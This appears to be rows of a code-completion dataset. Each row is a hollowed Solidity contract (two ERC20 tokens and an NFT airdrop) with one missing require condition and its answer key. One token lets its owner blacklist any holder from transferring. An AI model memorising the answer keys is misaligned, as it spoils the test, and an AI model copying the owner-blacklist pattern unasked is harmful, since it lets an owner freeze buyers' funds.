mapping (address => bool) private _blacklist;
string constant private _name = "Zero Tax";
string constant private _symbol = '\u2298';
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = 100000000 * 10**_decimals;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public secondPair;
uint256 private _maxTxAmountBuy = (_tTotal * 1) / 100; // 1%
uint256 private _maxTxAmountSell = (_tTotal * 1) / 100; // 1%
uint256 private _maxWalletSize = (_tTotal * 2) / 100; // 2%
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
receive() external payable {}
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] calldata accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
require(<FILL_ME>)
_maxWalletSize = (_tTotal * percent) / divisor;
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function getMaxTXs() public view returns (uint256, uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function enableTrading() public onlyOwner {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount) private returns (bool) {
}
}
| (_tTotal*percent)/divisor>=(_tTotal/100),"must be above 1%" | 82,271 | (_tTotal*percent)/divisor>=(_tTotal/100) |
"ERC20: address is blacklisted" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract ZeroTax is IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _blacklist;
string constant private _name = "Zero Tax";
string constant private _symbol = '\u2298';
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = 100000000 * 10**_decimals;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public secondPair;
uint256 private _maxTxAmountBuy = (_tTotal * 1) / 100; // 1%
uint256 private _maxTxAmountSell = (_tTotal * 1) / 100; // 1%
uint256 private _maxWalletSize = (_tTotal * 2) / 100; // 2%
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
receive() external payable {}
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] calldata accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function getMaxTXs() public view returns (uint256, uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(_blacklist[to]==false, "ERC20: address is blacklisted");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if(lpPairs[from]){
if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountBuy, "Transfer amount exceeds the maxTxAmount.");
}
} else if (lpPairs[to]) {
if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountSell, "Transfer amount exceeds the maxTxAmount.");
}
}
if(to != address(dexRouter) && !lpPairs[to]) {
if (!_isExcludedFromLimits[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
}
}
return _finalizeTransfer(from, to, amount);
}
function enableTrading() public onlyOwner {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount) private returns (bool) {
}
}
| _blacklist[from]==false,"ERC20: address is blacklisted" | 82,271 | _blacklist[from]==false |
"ERC20: address is blacklisted" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract ZeroTax is IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _blacklist;
string constant private _name = "Zero Tax";
string constant private _symbol = '\u2298';
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = 100000000 * 10**_decimals;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public secondPair;
uint256 private _maxTxAmountBuy = (_tTotal * 1) / 100; // 1%
uint256 private _maxTxAmountSell = (_tTotal * 1) / 100; // 1%
uint256 private _maxWalletSize = (_tTotal * 2) / 100; // 2%
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
receive() external payable {}
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] calldata accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function getMaxTXs() public view returns (uint256, uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(_blacklist[from]==false, "ERC20: address is blacklisted");
require(<FILL_ME>)
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if(lpPairs[from]){
if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountBuy, "Transfer amount exceeds the maxTxAmount.");
}
} else if (lpPairs[to]) {
if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountSell, "Transfer amount exceeds the maxTxAmount.");
}
}
if(to != address(dexRouter) && !lpPairs[to]) {
if (!_isExcludedFromLimits[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
}
}
return _finalizeTransfer(from, to, amount);
}
function enableTrading() public onlyOwner {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount) private returns (bool) {
}
}
| _blacklist[to]==false,"ERC20: address is blacklisted" | 82,271 | _blacklist[to]==false |
null | /**
https://psycho.ink/
https://t.me/psycho_portal
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Psycho is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Psycho';
string private constant _symbol = '$PSYCHO';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100 * 10**9 * (10 ** _decimals);
uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
IRouter router;
address public pair;
bool tradingAllowed = false;
uint256 liquidityFee = 100;
uint256 marketingFee = 100;
uint256 totalFee = 200;
uint256 sellFee = 200;
uint256 transferFee = 0;
uint256 feeDenominator = 10000;
bool swapEnabled = true;
uint256 swapTimes;
bool swapping;
uint256 swapThreshold = ( _totalSupply * 800 ) / 100000;
uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;
modifier lockTheSwap { }
address public constant liquidity_receiver = 0x2D2c245abCec050fE40E15d420C379d19Ff03166;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public constant marketing_receiver = 0x2D2c245abCec050fE40E15d420C379d19Ff03166;
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public view override returns (uint256) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isCont(address addr) internal view returns (bool) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function getCirculatingSupply() public view returns (uint256) { }
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function checktradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(isCont(recipient) && sender != pair && !isCont(sender)){require(<FILL_ME>)}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
}
function swapbackCounters(address sender, address recipient) internal {
}
function startTrading() external onlyOwner {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
| (_balances[recipient].add(amount))<=_totalSupply | 82,313 | (_balances[recipient].add(amount))<=_totalSupply |
"MinerRole: caller does not have the Miner role" | pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint256 mintedTotal;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/*
get minted total
*/
function getMintedTotal() public view returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
}
function remove(Role storage role, address account) internal {
}
function has(Role storage role, address account) internal view returns (bool) {
}
}
contract SignerRole is Ownable{
using Roles for Roles.Role;
event MinerAdded(address indexed account);
event MinerRemoved(address indexed account);
Roles.Role private _signers;
constructor(){
}
modifier onlySigner() {
require(<FILL_ME>)
_;
}
function isSigner(address account) public view returns (bool) {
}
function addSigner(address account) public virtual onlySigner {
}
function renounceSigner() public {
}
function _addSigner(address account) internal {
}
function _removeSigner(address account) internal {
}
}
pragma solidity ^0.8.0;
contract LyrraAirdrop is ERC721A, SignerRole {
using Strings for uint256;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply = 1000;
uint256 public maxMintAmountPerTx = 1; //100
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("LyrraAirdrop", "LYRRAAIRDROP", maxMintAmountPerTx) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function BatchMint(address[] calldata _tos) public mintCompliance(maxMintAmountPerTx) onlySigner {
}
function mintOwner(address _to, uint256 _mintAmount) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| isSigner(_msgSender()),"MinerRole: caller does not have the Miner role" | 82,324 | isSigner(_msgSender()) |
"Max supply exceeded!" | pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint256 mintedTotal;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/*
get minted total
*/
function getMintedTotal() public view returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
